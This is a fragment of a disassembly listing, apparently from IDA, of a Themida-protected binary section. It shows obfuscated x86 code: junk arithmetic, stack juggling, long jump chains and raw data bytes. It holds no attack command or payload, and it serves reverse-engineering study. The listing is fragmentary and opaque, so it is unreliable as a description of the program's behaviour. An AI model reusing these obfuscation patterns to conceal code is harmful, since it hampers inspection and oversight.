loc_561F89: ; CODE XREF: Themida_:00569E19j
sub esp, 4
mov [esp], ebx
push esp
pop ebx
add ebx, 4
push ebp
mov ebp, 202907EDh
or ebp, 25956AB2h
dec ebp
xor ebp, 24AE3E44h
inc ebp
jmp loc_566CAA
; ---------------------------------------------------------------------------
loc_561FB3: ; CODE XREF: Themida_:00575303j
xor edx, ebx
xor ebx, edx
xor edx, ebx
xor ebx, edx
jmp loc_56ED13
; ---------------------------------------------------------------------------
dd 0E56BA7B8h, 58C72155h, 34C8EF81h, 0E7C11AE2h, 0BEF8106h
dd 81193618h, 74368CF7h, 0FB5DE903h, 0EC81FFFFh, 4, 0E9240489h
dd 416Dh, 0EB80F300h, 40EB8092h, 12D35E9h
db 0
; ---------------------------------------------------------------------------
loc_561FFD: ; CODE XREF: Themida_:0057289Bj
dec eax
xor eax, 1EED5C55h
neg eax
jmp loc_563088
; ---------------------------------------------------------------------------
dw 0EB88h
dd 8B5BDE88h, 9C68240Ch, 8900003Eh, 0E6892434h, 4C681h
dd 79E90000h
db 23h, 1, 0
; ---------------------------------------------------------------------------
loc_562027: ; CODE XREF: Themida_:00574233j
not edx
jmp loc_5725C5
; ---------------------------------------------------------------------------
loc_56202E: ; CODE XREF: Themida_:00569C18j
add ebp, 4
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
mov ecx, 4
sub ebp, ecx
push dword ptr [esp]
pop ecx
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xchg ebp, [esp]
pop esp
mov [esp], ecx
jmp loc_568F84
; ---------------------------------------------------------------------------
dw 0BD55h
dd 17AE0B81h, 10DC0E9h, 0E9E58900h, 11F97h, 0BA241489h
dd 0
dd 144F5E9h, 4C08300h, 31240433h, 4332404h, 0C80F5C24h
dd 48B468h, 24048900h, 0FFEF95E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5620AD: ; CODE XREF: Themida_:005725EAj
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push dword ptr [esp]
mov edx, [esp]
jmp loc_56EBAC
; ---------------------------------------------------------------------------
dd 0FF2434FFh, 685A2434h, 46CBh, 89241489h, 0A9F0E9E2h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5620DE: ; CODE XREF: Themida_:0056B9F4j
push 781h
mov [esp], edi
mov edi, esp
push eax
jmp loc_575929
; ---------------------------------------------------------------------------
loc_5620EE: ; CODE XREF: Themida_:005758D4j
sub eax, 0FFFFFFFFh
jmp loc_56AED3
; ---------------------------------------------------------------------------
dd 14BABF57h, 814F6FAAh, 1745D1CFh, 0CDEF8157h, 893FCE2Eh
dd 0D389E9FDh, 0EC830000h, 24248904h, 4240481h, 5D000000h
dd 65B85057h, 0E92C8A45h, 2489h, 23E9FD01h, 29000058h
dd 6ED81F5h, 0E94F1A4Fh, 800h, 1D616846h, 4890000h, 7D806824h
dd 34890000h, 835E5824h, 8E904ECh, 5200012Ch, 0C281E289h
dd 4, 1E82BB53h, 3AE908F3h, 0FE000070h, 50D6F6CEh, 0B30CA9B0h
dd 0C6089B34h, 8124048Bh, 4C4h, 4AF16800h, 61E90000h
db 75h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56218F: ; CODE XREF: Themida_:00561050j
push eax
mov ah, 0B1h
mov bh, 8Eh
xor bh, ah
jmp loc_565F3D
; ---------------------------------------------------------------------------
db 0F7h
dd 4EFC1D7h, 8904EC83h, 0F6BA2414h, 31B085C1h, 0FD295AD7h
dd 0E95B555Fh, 0ECE7h, 0FFC38058h, 30BCEB80h, 241C8BD8h
dd 4C481h, 51510000h, 10E69E9h, 0E9162C00h, 132F8h
; ---------------------------------------------------------------------------
loc_5621D8: ; CODE XREF: Themida_:00562241j
pop edx
mov esi, eax
mov eax, [esp]
add esp, 4
sub esi, 0D4438B0h
xor esi, 731874h
xor esi, 5FF7008Ah
push ebx
push ecx
mov ecx, 5E104624h
mov ebx, 65728DA2h
sub ebx, ecx
pop ecx
and ebx, 420D518Fh
push edx
jmp loc_5671A8
; ---------------------------------------------------------------------------
dw 2FE9h
dd 0ACFFFFEEh, 0E904EC83h, 0C251h, 0E92424D3h, 0FFFFEE1Eh
; ---------------------------------------------------------------------------
loc_562224: ; CODE XREF: Themida_:0056D0CDj
sub edx, 7BA7554Dh
push ecx
mov ecx, 463859F7h
xor ecx, 31AA7B2Ah
add ecx, 0CBDC42A9h
add edx, ecx
pop ecx
mov eax, edx
jmp loc_5621D8
; ---------------------------------------------------------------------------
loc_562246: ; CODE XREF: Themida_:0056B18Ej
mov [esp], edx
push ebx
mov edx, [esp]
jmp loc_573772
; ---------------------------------------------------------------------------
loc_562252: ; CODE XREF: Themida_:005748B1j
sub esi, 0B070D564h
push esi
pop ebx
pop esi
sub eax, 7CD724C1h
add eax, ebx
jmp loc_56568F
; ---------------------------------------------------------------------------
db 68h
dd 7A176913h, 0A48BE9h, 47216800h, 0C890000h, 23BA5224h
dd 42753979h, 0A60FC281h, 0EAC18DA2h, 57505607h, 0D8382ABFh
dd 5FF8894Dh, 7D0568h, 24148900h, 7F14E957h, 0C1290000h
dd 8324048Bh, 0E1D104C4h, 462AC981h, 46E94E65h, 8B0000DBh
dd 8953241Ch, 4C381E3h, 81000000h, 4C3h, 6730E900h, 94680000h
dd 0E92D5411h, 17D5h
; ---------------------------------------------------------------------------
loc_5622D8: ; CODE XREF: Themida_:00571A64j
mov edi, [esp]
add esp, 4
add esp, 4
add esp, 4
jmp loc_575767
; ---------------------------------------------------------------------------
loc_5622EF: ; CODE XREF: Themida_:0057526Aj
push esi
mov esi, 7B9B7897h
and esi, 786A2CDFh
inc esi
sub esi, 0AA24h
xor edi, esi
pop esi
jmp loc_565116
; ---------------------------------------------------------------------------
loc_56230A: ; CODE XREF: Themida_:0056C2B8j
xor ecx, 68497E00h
mov ebp, ecx
jmp loc_56F895
; ---------------------------------------------------------------------------
db 8Bh
dd 0C481243Ch, 4, 6AF7E9h, 4C28100h, 83000000h, 2C8904ECh
dd 4EC8324h, 89240C89h, 4C181E1h, 81000000h, 4E9h, 0E71DE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56234A: ; CODE XREF: Themida_:00569346j
pop ebp
xchg esi, [esp]
pop esp
mov [esp], esi
sub esp, 4
mov [esp], ebx
push ebx
mov ebx, 321C1C0Fh
sub [esp+4], ebx
jmp loc_56425A
; ---------------------------------------------------------------------------
dw 4935h
dd 21490957h, 24048BC1h, 8304C483h, 0E981FFE9h, 4C500C01h
dd 0C8BC801h, 4C48324h, 356968h, 241C8900h, 4BBh, 5BD82900h
dd 0E9240487h, 10000h, 5BEAE95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5623A6: ; CODE XREF: Themida_:00565C2Bj
sub edx, 62636528h
inc edx
or edx, 2DC1B4Fh
neg edx
add edx, 9EDE1C03h
sub eax, edx
pop edx
xchg eax, [esp]
jmp loc_565B63
; ---------------------------------------------------------------------------
loc_5623C6: ; CODE XREF: Themida_:0057365Fj
push ecx
jmp loc_5638C5
; ---------------------------------------------------------------------------
loc_5623CC: ; CODE XREF: Themida_:0056ABA4j
add dword ptr [edx], 1
jmp loc_566411
; ---------------------------------------------------------------------------
loc_5623D7: ; CODE XREF: Themida_:00567B8Cj
xor [esp], edx
xchg ebx, edx
jmp loc_56E255
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
aXvs db 'XVé¾',0
db 1, 0, 81h
dd 200C246Ch, 12B5955h, 810C2454h, 200C2444h, 5A2B5955h
dd 10D14E9h
db 0
; ---------------------------------------------------------------------------
loc_562405: ; CODE XREF: Themida_:0056CF2Cj
mov ecx, esp
jmp loc_57035A
; ---------------------------------------------------------------------------
dd 0E680CEFEh, 5C68022h, 5AF400h, 2434FFE3h, 4C48158h
dd 80000000h, 0C30017EBh, 8904EC83h, 17B42404h, 0F634E9h
dd 0ACE95A00h, 29000052h, 243C8BF9h, 0FFF04FE9h, 7F6B68FFh
dd 1C8B65FEh, 4C48324h, 0FF16E9h
db 0
; ---------------------------------------------------------------------------
loc_562455: ; CODE XREF: Themida_:005668D7j
push ebx
jmp loc_5636BA
; ---------------------------------------------------------------------------
db 87h
dd 525C2404h, 0EC83F0B2h, 1173E904h, 14870001h, 38E95C24h
db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_562473: ; CODE XREF: Themida_:0057268Dj
xor edi, 56A53D9Dh
add edx, edi
pop edi
jmp loc_56677F
; ---------------------------------------------------------------------------
loc_562481: ; CODE XREF: Themida_:00569F9Dj
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_568D42
; ---------------------------------------------------------------------------
db 81h
dd 0D46A3BCBh, 0E3C14310h, 7BB85006h, 537140Eh, 78547E51h
dd 4D0BE9h, 70F38100h, 81241717h, 0A36489EBh, 0F8BA527Ch
dd 0F765DA7Bh, 3CEA81D2h, 81595119h, 0DA5BCFE2h, 81D2F71Ch
dd 334FACEAh, 37F28128h, 0E99D20BEh, 0FCCCh, 83242C8Bh
dd 148704C4h, 57E95C24h, 54FFFFEBh, 8124048Bh, 4C4h, 0E0D4E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5624FA: ; CODE XREF: Themida_:00572831j
pop esi
jmp loc_567AC0
; ---------------------------------------------------------------------------
dd 591ABCBAh, 9DC3E940h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56250A: ; CODE XREF: Themida_:00568206j
shr edi, 6
jmp loc_56A1D8
; ---------------------------------------------------------------------------
loc_562512: ; CODE XREF: Themida_:0057423Bj
sub esi, 1
jmp loc_566A3A
; ---------------------------------------------------------------------------
dw 1431h
dd 24143324h, 6624248Bh, 9C2404FFh, 0FFEB15E9h, 2C481FFh
dd 53000000h, 0CFFEF0B7h, 0CFFEC7FEh, 6B35E9h, 48F5900h
dd 24248B24h, 0E9240431h, 1CDEh, 6569EE81h, 0D6F7356Dh
dd 0AE84EE81h, 0EEC1E09Fh, 0E1C68104h, 0E91EE146h, 70ADh
dd 0E9242C33h, 0EC50h, 0E8883BB5h, 53EB8059h, 70E9C300h
dd 10000B4h, 89512404h, 4C181E1h, 81000000h, 4E9h, 0E83EE900h
dd 0D8280000h, 0E9535304h, 0FFFFF074h, 4B8h, 8BC22900h
dd 0C4832404h, 24148704h, 0D2EFE95Ch, 335B0000h, 0C31240Ch
dd 240C3324h, 0FF24248Bh, 34FF2434h, 54535824h, 0EF66E9h
dd 10EE8100h, 29261673h, 10C681C6h, 58261673h, 515EF129h
dd 42474FFh, 24048F59h, 6624248Bh, 0E9240C89h, 0FFFFEA46h
; ---------------------------------------------------------------------------
loc_5625FC: ; CODE XREF: Themida_:00576A7Dj
mov ecx, ebx
pop ebx
mov edx, ecx
jmp loc_56123F
; ---------------------------------------------------------------------------
loc_562606: ; CODE XREF: Themida_:005642D6j
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
sub edx, 6DAF7119h
push ecx
mov ecx, 36817371h
sub edx, ecx
jmp loc_564F93
; ---------------------------------------------------------------------------
aIts0 db '‰âé0Å',0
dd 0EE885200h, 525AF488h, 0F388E688h, 186CE95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56263A: ; CODE XREF: Themida_:005645E4j
push edi
push 37DB1F0Fh
pop edi
mov esi, 0F8459797h
sub esi, edi
pop edi
xor ecx, esi
pop esi
add ebx, 7AC914ABh
add ebx, ecx
sub ebx, 7AC914ABh
mov ecx, [esp]
add esp, 4
jmp loc_5672C3
; ---------------------------------------------------------------------------
loc_562668: ; CODE XREF: Themida_:005741ECj
push ebx
jmp loc_5720D4
; ---------------------------------------------------------------------------
dw 0DFF7h
dd 0EF0EF81h, 0F7812192h, 9BA8C96Dh, 2F1DE9h
db 0
; ---------------------------------------------------------------------------
loc_562681: ; CODE XREF: Themida_:0056F090j
sub edx, 0DB7DADD1h
jmp loc_56F925
; ---------------------------------------------------------------------------
aXsa db 'Xéí)',0
align 2
loc_562692: ; CODE XREF: Themida_:00563600j
pop edx
pop ebx
jmp loc_571428
; ---------------------------------------------------------------------------
aISs9 db '‰,$é˜9',0
dd 8BCB8900h, 60E9240Ch, 29000129h, 8B08247Ch, 0C483243Ch
dd 0CF8E904h, 0F1890001h, 59CE015Eh, 8904EC83h, 0E589242Ch
dd 4BF57h, 0FD010000h, 4ED835Fh, 8B242C87h, 34892424h
dd 2474FF24h, 24348B04h, 86CCE9h
db 0
; ---------------------------------------------------------------------------
loc_5626E9: ; CODE XREF: Themida_:0057061Bj
pop edi
add edi, 0DBBFDD87h
push esi
mov esi, edi
mov edx, esi
pop esi
pop edi
mov edi, edx
pop edx
add edx, edi
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push eax
mov eax, esp
jmp loc_566973
; ---------------------------------------------------------------------------
loc_562716: ; CODE XREF: Themida_:00573418j
push dword ptr [esp]
jmp loc_57260C
; ---------------------------------------------------------------------------
dw 895Ch
dd 74FF2414h, 8F5A0424h, 248B2404h, 94E924h
db 1, 0
; ---------------------------------------------------------------------------
loc_562732: ; CODE XREF: Themida_:0056AA03j
pop esi
pop dword ptr [esp]
mov esp, [esp]
pop dword ptr [esp]
jmp loc_572C83
; ---------------------------------------------------------------------------
db 80h, 0F4h, 6Dh
dd 2820C380h, 20EB80E3h, 0E924048Bh, 10F2Dh, 63BD5551h
dd 0B949265Ch, 0FA7FFBA6h, 36E9E901h, 80000BEh, 24048BE1h
dd 5004C483h, 4F25E9h
db 0
; ---------------------------------------------------------------------------
loc_562775: ; CODE XREF: Themida_:0056FAB1j
pop esi
push edi
push dword ptr [esp+4]
jmp loc_57336D
; ---------------------------------------------------------------------------
loc_562780: ; CODE XREF: Themida_:00564EDBj
push 509Bh
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
mov [esp], edx
mov edx, 20h
push ebx
mov ebx, 3DE865AAh
add edx, 77D22D1Bh
add edx, ebx
sub edx, 77D22D1Bh
mov ebx, [esp]
add esp, 4
add edx, edi
sub edx, 3DE865AAh
add [edx], eax
mov edx, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_56EDA4
; ---------------------------------------------------------------------------
loc_5627CE: ; CODE XREF: Themida_:00568F89j
push 5DC3h
mov [esp], edi
jmp loc_566F52
; ---------------------------------------------------------------------------
db 0C1h
dd 505206EAh, 0D8F7585Ah, 241CE9h, 4C78100h, 0E9000000h
dd 15B2h, 4C6815Eh, 83000000h, 348704C6h, 48F5C24h, 0F7665C24h
dd 0F86866F1h, 1489667Ah, 0B22CE924h, 74FF0000h, 348B0424h
dd 4C48124h, 8F000000h, 248B2404h, 2434FF24h, 209CE9h
dd 18E95900h
db 8Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_562837: ; CODE XREF: Themida_:0056E76Bj
pop eax
pop dword ptr [esp]
pop esp
push esi
push eax
push 3C480B06h
pop eax
inc eax
xor eax, 0DBC149Dh
mov esi, eax
pop eax
add eax, 33654521h
jmp loc_564253
; ---------------------------------------------------------------------------
db 89h
dd 9EBB241Ch, 0E9B6B5C3h, 13FF7h
; ---------------------------------------------------------------------------
loc_562864: ; CODE XREF: Themida_:005721F3j
xor ecx, 1A5F7636h
not ecx
dec ecx
and ecx, 27484CE6h
add ecx, 0FCB7F320h
jmp loc_56EA6F
; ---------------------------------------------------------------------------
loc_56287E: ; CODE XREF: Themida_:0056C838j
sub ebx, 25922CE2h
pop edx
add ebx, edx
add dword ptr [ebx], 1
pop ebx
pop edx
loc_56288F: ; CODE XREF: Themida_:00574FB2j
push 6178h
mov [esp], edx
push esi
push ebx
jmp loc_57244A
; ---------------------------------------------------------------------------
loc_56289E: ; CODE XREF: Themida_:00566E4Fj
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push esi
mov esi, 79990074h
push esi
mov esi, 285D39A6h
push ebx
mov ebx, 50B57D71h
add esi, ebx
pop ebx
dec esi
jmp loc_5700D8
; ---------------------------------------------------------------------------
loc_5628D8: ; CODE XREF: Themida_:00569395j
jmp loc_561042
; ---------------------------------------------------------------------------
db 50h, 81h, 34h
dd 0A0284124h, 0FF35E908h, 5B660000h, 5B2434FFh, 56FCE957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5628F6: ; CODE XREF: Themida_:0056A706j
mov ecx, 1EDA724Bh
add edx, ecx
pop ecx
dec edx
push esi
mov esi, 32375C29h
or edx, esi
pop esi
sub edx, 0E728C29Bh
mov ebx, edx
pop edx
add [esp+8], ebx
pop ebx
jmp loc_56E0AA
; ---------------------------------------------------------------------------
db 81h
dd 432A2BE9h, 88C18132h, 0E91AD15Bh, 742Bh
; ---------------------------------------------------------------------------
loc_56292C: ; CODE XREF: Themida_:00561691j
push 6C6Eh
jmp loc_5709FC
; ---------------------------------------------------------------------------
dw 6268h
dd 0E9000015h, 0DBC3h, 0C6E9585Eh, 1000098h, 1613E9CAh
dd 0ED810001h, 34E75DD5h, 0F706EDC1h, 627768D5h, 34890000h
dd 39D16824h, 4890000h, 4A52B824h, 2EBE011Ah, 8102A91Ah
dd 4D6DF6C6h, 81C60118h, 4D6DF6EEh, 0F5015818h, 140E5E9h
db 0
; ---------------------------------------------------------------------------
loc_562989: ; CODE XREF: Themida_:0056974Bj
mov esi, [esp]
add esp, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_574FCB
; ---------------------------------------------------------------------------
db 56h
dd 0CC03A4BEh, 0B6C68166h, 0E925CD5Bh, 0F6D8h, 0C67ED82Dh
dd 5F02946h, 46C67ED8h, 8D02E95Eh, 14890000h, 0E95A5424h
dd 1150Dh, 0C1C03540h, 0C2015FAAh, 4EA8358h, 5C241487h
dd 57242489h, 0A8B0E9h
db 0
; ---------------------------------------------------------------------------
loc_5629E1: ; CODE XREF: Themida_:0056E916j
xchg edi, [esp]
pop esp
add esp, 4
jmp loc_56EF91
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 0FFE64DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5629F5: ; CODE XREF: Themida_:00571861j
mov [esp], esi
push esp
mov esi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add esi, 4
jmp loc_56A9EB
; ---------------------------------------------------------------------------
db 0C1h
dd 0E95002E7h, 0FFFFF5A0h, 0FFE61DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562A25: ; CODE XREF: Themida_:00575186j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add edx, 1BE70930h
add edx, ebx
sub edx, 1BE70930h
mov ebx, [esp]
add esp, 4
add edx, edi
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_568023
; ---------------------------------------------------------------------------
db 5Ch, 89h, 0Ch
dd 4EC8324h, 0B8240489h, 4, 48BC189h, 4C48124h, 0E9000000h
dd 13D2Bh
; ---------------------------------------------------------------------------
loc_562A84: ; CODE XREF: Themida_:00567E85j
inc ebx
and ebx, 34544C64h
xor ebx, 2FA70133h
neg ebx
xor ebx, 8B26D873h
xor ecx, ebx
pop ebx
push edi
mov edi, 1E8D534Bh
xor ecx, edi
pop edi
and eax, ecx
mov ecx, [esp]
add esp, 4
or eax, eax
jz loc_574C86
push dword ptr [edi+28h]
push dword ptr [esp]
pop eax
push 3637h
mov [esp], ecx
jmp loc_56E2E3
; ---------------------------------------------------------------------------
loc_562ACC: ; CODE XREF: Themida_:00568C8Cj
push dword ptr [esp]
mov edi, [esp]
jmp loc_561760
; ---------------------------------------------------------------------------
a11isw db '1Ý[1ëéwÇ',0
db 0
; ---------------------------------------------------------------------------
loc_562AE1: ; CODE XREF: Themida_:00574679j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, esp
push edi
jmp loc_569F43
; ---------------------------------------------------------------------------
dw 0C15Dh
dd 0EF8105E7h, 8053F6ACh, 0E95FF809h, 1D05h, 8324148Bh
dd 835004C4h, 148904ECh, 4D9FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_562B16: ; CODE XREF: Themida_:0056D74Ej
add esp, 4
push 0C8Bh
mov [esp], edx
jmp loc_57098E
; ---------------------------------------------------------------------------
dw 66ACh
dd 28D9B551h, 0E95966E8h, 0FFFFEEB0h, 68241489h, 5D94h
dd 53240C89h, 0D988E388h, 0FFEB4DE9h, 99C780FFh, 0E0A7E9h
dd 1CEE8100h, 812FA374h, 8106F7EEh, 0C6814E3Fh, 0C6E548A2h
dd 4FE9F129h, 81000014h, 666712C7h, 66E936h, 14870001h
dd 7B685C24h, 89000005h, 0E189240Ch, 0C71CE9h
db 0
; ---------------------------------------------------------------------------
loc_562B89: ; CODE XREF: Themida_:0056A298j
mov ebx, 4F90419Dh
sub eax, 0EE55D3Fh
sub eax, ebx
jmp loc_5741C6
; ---------------------------------------------------------------------------
dw 2489h
dd 24048324h, 0C1815904h, 4, 2BE56h, 0BE560000h, 5D2F2059h
dd 348BF129h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
dd 1FB85055h, 890E265Ch, 0C14D58C5h, 0FEE905EDh, 5200009Ah
dd 44E9E289h, 590000C2h, 0FE05EFC0h, 9BB450C7h, 2858E730h
dd 502C5BF8h, 3B1368h, 241C8900h, 641FE950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_562C06: ; CODE XREF: Themida_:0056FE31j
mov esp, [esp]
mov [esp], ebx
mov ebx, 40h
and ecx, ebx
push dword ptr [esp]
mov ebx, [esp]
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add esp, 4
shr ecx, 6
jmp loc_568F7A
; ---------------------------------------------------------------------------
loc_562C3A: ; CODE XREF: Themida_:00571549j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push edi
jmp loc_5675B7
; ---------------------------------------------------------------------------
dw 0EB81h
dd 0B1E07A7h, 13DFFE9h, 4EBC100h, 8305EBC1h, 0EB8101EBh
dd 38B949D6h, 54C6BD55h, 0EB0930BFh, 76BE565Dh, 812E6934h
dd 4A45B4F6h, 0F7D6F712h, 14F756DEh, 0CE815E24h, 249C4FFCh
dd 0E593C681h, 0F331DF0Ah, 0D05FE9h, 0E95400h, 81000065h
dd 4C3h, 4EC8300h, 8E9DE9h, 3C875E00h, 24248B24h, 68F9F766h
dd 55D4h, 54242C89h, 5D2434FFh, 4C481h, 55570000h, 0C95F2868h
dd 2434FF11h, 5D2434FFh, 4C481h, 0C4830000h, 24ED8104h
dd 8911C95Fh, 677EE9EFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_562CF2: ; CODE XREF: Themida_:00569151j
mov esp, [esp]
mov [esp], ebx
mov ebx, 4
add ebp, ebx
mov ebx, [esp]
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
shr ecx, 7
push esi
jmp loc_56EF4A
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov edi, 5A0E1083h
and edi, 0B7828CEh
sub edi, 0A08007Eh
jmp loc_573272
; ---------------------------------------------------------------------------
dw 0FF5Dh
a4S db '4$é¸ß',0
dw 8900h
dd 2988E9E7h, 4870001h, 2C895C24h, 4BD24h, 0E2E90000h
dd 8300002Dh, 3CE904C4h, 0FF000044h, 51582434h, 2E9E189h
db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_562D63: ; CODE XREF: Themida_:00571DDFj
not ecx
jmp loc_565672
; ---------------------------------------------------------------------------
dw 0C783h
dd 243C8704h, 4EC815Ch, 0E9000000h, 0C74Bh
; ---------------------------------------------------------------------------
loc_562D7C: ; CODE XREF: Themida_:005696EBj
pop esi
push edi
push esi
mov esi, esp
push edx
mov edx, 4
add esi, edx
pop edx
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
mov ecx, esi
mov edi, ecx
mov ecx, [esp]
push ebx
jmp loc_564C90
; ---------------------------------------------------------------------------
loc_562DA4: ; CODE XREF: Themida_:00569800j
pop eax
add ebx, 0A967F7Bh
push ecx
mov ecx, 28804A63h
sub ebx, ecx
pop ecx
sub ebx, ecx
add ebx, 28804A63h
push esi
mov esi, 0A967F7Bh
sub ebx, 14E70696h
jmp loc_56E6EC
; ---------------------------------------------------------------------------
db 53h, 0BBh, 5
dd 13EA925h, 0A62D5BD8h, 29725B3Bh, 0B85053D8h, 74DF39A3h
dd 4802E0C1h, 0DD64342Dh, 60DC2508h, 0FEE92B3Bh
db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_562DF7: ; CODE XREF: Themida_:0056EB01j
or eax, eax
jnz loc_570D54
push eax
mov eax, 38964FA9h
push edi
push ebp
mov ebp, 1B7918EEh
jmp loc_56ED20
; ---------------------------------------------------------------------------
db 0F7h, 0DBh, 4Bh
dd 8904EC83h, 6DE92434h
db 4, 1, 0
; ---------------------------------------------------------------------------
loc_562E1F: ; CODE XREF: Themida_:0056C18Ej
pop eax
pop edx
xor edx, 0F21AB461h
sub ebx, 5E8F5F17h
jmp loc_5706AC
; ---------------------------------------------------------------------------
loc_562E32: ; CODE XREF: Themida_:0057697Bj
sub esp, 4
mov [esp], ecx
mov cl, 0FFh
sub ah, cl
pop ecx
shr ah, 7
shr ah, 1
xor ah, 90h
mov dh, ah
push dword ptr [esp]
jmp loc_565908
; ---------------------------------------------------------------------------
dw 2C89h
dd 4EC8324h, 0FFEC76E9h, 56D787FFh, 0FFFFFFBEh, 0FFF701FFh
dd 348B2434h, 0E3895324h, 4C381h, 0C3810000h, 4, 0E9241C87h
dd 1084Ah, 4C5815Dh, 83000000h, 2C8704EDh, 28E95C24h, 8F000101h
dd 555C2404h, 5A55F589h, 9BE95E5Dh, 88FFFFE1h, 5BF988C7h
dd 52665B58h, 0F10076B6h, 0E9805A66h, 53E980FFh, 40F5E9h
db 0
; ---------------------------------------------------------------------------
loc_562EC1: ; CODE XREF: Themida_:005667ABj
mov ebp, 7C916D97h
jmp loc_571462
; ---------------------------------------------------------------------------
db 89h
dd 0F2815DEAh, 3DAA64E0h, 685AD029h, 5C66h, 0B562E9h, 3EBC100h
dd 5254B850h, 0A9E9149Fh
db 4Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_562EEF: ; CODE XREF: Themida_:0056C67Fj
push 4A9Ah
mov [esp], esi
mov esi, esp
push ebp
push edx
push 5CE44F1Eh
pop edx
xor edx, 1FA34A10h
push ecx
jmp loc_56A388
; ---------------------------------------------------------------------------
db 66h, 5Ah, 66h
dd 2D66C801h, 8B666B90h, 0E953240Ch, 0DCF7h, 0FA685052h
dd 0E95A4941h, 69F1h, 24048B66h, 5ACA68h, 24148900h, 8068E289h
dd 0E9000028h, 116F7h, 0BD242C89h, 4, 34FF5B55h, 0C4815D24h
dd 4, 35E2E9h, 2B900h, 0CB010000h, 46C6E959h, 0EC810000h
dd 4, 89241C89h, 4C381E3h, 52000000h, 4BAh, 5AD30100h
dd 0FB1BE9h, 8BD58900h, 0C4812414h, 4, 0EBF58159h, 1447B17h
dd 6FB5E9EBh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_562FA2: ; CODE XREF: Themida_:0056BC3Ej
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
mov ecx, [esp]
add esp, 4
jmp loc_564A06
; ---------------------------------------------------------------------------
loc_562FC3: ; CODE XREF: Themida_:005766BFj
mov ebx, [esp]
add esp, 4
push esi
mov esi, 6284EC0h
add edx, esi
pop esi
add edx, 19A09D9h
add edx, ecx
sub edx, 19A09D9h
push edi
mov edi, 6284EC0h
add edx, 3E0A795Fh
sub edx, edi
sub edx, 3E0A795Fh
pop edi
pop ecx
jmp loc_5755A2
; ---------------------------------------------------------------------------
dw 0F681h
dd 70A871A2h, 0C681DEF7h, 594A7964h, 0D6E9F589h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_563013: ; CODE XREF: Themida_:0056B626j
mov edi, [esp]
add esp, 4
sub edi, 398C58D7h
jmp loc_56FB02
; ---------------------------------------------------------------------------
db 89h
dd 4C781E7h, 0E9000000h, 24E2h, 4C381h, 0EB810000h, 4
dd 5C241C87h, 68243C89h, 56FF435Eh, 0E9243C8Bh, 8D62h
dd 0CDC781h, 9AE9775Ch, 89000113h, 0CEE92414h
db 2Ah, 1, 0
; ---------------------------------------------------------------------------
loc_563067: ; CODE XREF: Themida_:005691F4j
mov ebx, edx
pop edx
and eax, ebx
push dword ptr [esp]
pop ebx
push eax
mov eax, esp
push 1936h
mov [esp], edx
push 61EBh
mov [esp], eax
jmp loc_57299D
; ---------------------------------------------------------------------------
loc_563088: ; CODE XREF: Themida_:00562005j
xor eax, 0F6DEC4A3h
mov edi, eax
jmp loc_57405F
; ---------------------------------------------------------------------------
dd 0A23E953h, 1C890001h, 2474FF24h, 48F5B04h, 24248B24h
dd 0E9E1F766h, 11D0Ah, 0F5BF5759h, 2935B767h, 779E9F8h
dd 0E9550000h, 0AB93h
; ---------------------------------------------------------------------------
loc_5630C4: ; CODE XREF: Themida_:005687F0j
sub esi, edx
jmp loc_56FE14
; ---------------------------------------------------------------------------
db 33h
dd 0C31240Ch, 330DE924h, 0EA680000h, 89000034h, 0B9512424h
dd 4, 0ECC0E9h, 242C8900h, 4BDh, 5DEA0100h, 2B850h, 0EC810000h
dd 4, 0BD242C89h, 251B7DEAh, 7EC5814Dh, 290F99E2h, 0E9575DEAh
dd 14E4h, 8159CD09h, 0DC6A1CEDh, 43C38139h, 1786950h, 43EB81EBh
